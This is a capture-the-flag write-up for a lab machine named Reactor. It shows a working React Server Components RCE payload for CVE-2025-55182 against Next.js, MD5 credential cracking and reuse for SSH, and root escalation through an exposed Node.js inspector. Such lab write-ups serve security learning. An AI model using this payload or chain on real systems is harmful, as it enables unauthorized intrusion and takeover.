Machine Overview
| Field | Value |
|---|---|
| Name | Reactor |
| Difficulty | Easy |
| OS | Linux (Ubuntu 24.04.4 LTS) |
| IP | 10.129.149.68 |
| Vhost | reactor.htb (access via IP works directly) |
| Kernel | 6.8.0-117-generic |
| Ports | 22 (OpenSSH 9.6p1), 3000 (Next.js 15.0.3) |
| Season | 11 |
Flags
| Flag | Path | Value |
|---|---|---|
| User | /home/engineer/user.txt | [REDACTED] |
| Root | /root/root.txt | [REDACTED] |
Reconnaissance
nmap -p- --min-rate 5000 -T4 10.129.149.68
# PORT STATE SERVICE
# 22/tcp open ssh
# 3000/tcp open ppp
nmap -sCV -p 22,3000 10.129.149.68
# 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux)
# 3000/tcp open http Next.js (X-Powered-By: Next.js, x-nextjs-cache: HIT)
The web app on 3000 is ReactorWatch — a static nuclear-reactor dashboard, no visible login.
package.json revealed next@15.0.3 + react@19.0.0, squarely inside the CVE-2025-55182 (React2Shell) vulnerable range.
Attack Chain
1. Foothold — React Server Components RCE (CVE-2025-55182)
Unauthenticated RCE via the React Server Components Flight-protocol deserializer (prototype pollution).
A crafted multipart POST with a Next-Action header reaches process.mainModule.require('child_process').execSync.
Output is exfiltrated through the NEXT_REDIRECT error digest field.
payload = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": "var res = process.mainModule.require('child_process')"
".execSync(<cmd>,{timeout:5000}).toString().trim(); "
"throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_formData": {"get": "$1:constructor:constructor"},
},
}
# POST with files={"0": json(payload), "1": '"$@0"'}, header Next-Action: x
python3 rce.py http://10.129.149.68:3000 "id; hostname; whoami"
# uid=999(node) gid=988(node) groups=988(node)
# reactor
# node
Execution lands as the node service user.
2. Credential Harvesting — SQLite reactor.db
The app dir /opt/reactor-app/ holds reactor.db (world-readable by the node user) with an unsalted-MD5 users table:
sqlite3 /opt/reactor-app/reactor.db 'SELECT id,username,password_hash,role,email FROM users;'
# 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
# 2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
echo -n reactor1 | md5sum # 39d97110eafe2a9a68639812cd271e8e -> matches engineer
3. User — SSH as engineer
The cracked MD5 (engineer : reactor1) is reused for SSH:
ssh engineer@10.129.149.68 # password: reactor1
id # uid=1000(engineer) ... groups=...,4(adm),...,101(lxd)
cat user.txt # [REDACTED]
4. Root — Node.js inspector (--inspect) on a root process
ps aux reveals a root-owned Node process exposing the V8 debugger on localhost:
ps aux | grep -- --inspect
# root 1413 ... /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
The debugger's Chrome DevTools Protocol endpoint is reachable from the compromised host itself (no SSH port-forward needed — the RCE already runs on the target):
curl -s http://127.0.0.1:9229/json
# [ { "title": "/opt/uptime-monitor/worker.js",
# "webSocketDebuggerUrl": "ws://127.0.0.1:9229/<uuid>", ... } ]
Attach via a raw WebSocket and Runtime.evaluate a child_process.execSync call inside the root process:
process.mainModule.require('child_process')
.execSync('cat /root/root.txt; cat /home/engineer/user.txt; id').toString()
python3 cdp_rce.py
# uid=0(root) gid=0(root) groups=0(root)
# root.txt: [REDACTED]
(Equivalent, SUID-based alternative used in public writeups: Runtime.evaluate →
require('child_process').execSync('chmod u+s /bin/bash') → /bin/bash -p.)
Techniques Demonstrated
- React Server Components Flight-protocol deserialization → prototype pollution RCE (CVE-2025-55182 / React2Shell)
- Error-based command output exfiltration via the
NEXT_REDIRECTerrordigestfield - SQLite database credential harvesting (
reactor.db) - Unsalted-MD5 hash cracking + credential reuse (app DB password == SSH password)
- Node.js
--inspectV8 inspector abuse →Runtime.evaluatein a root process (CDP over raw WebSocket)
Tools Used
nmap, curl, Python (requests, paramiko, stdlib WebSocket), sqlite3, md5sum, CVE-2025-55182 PoC (react2shell).
← all writeups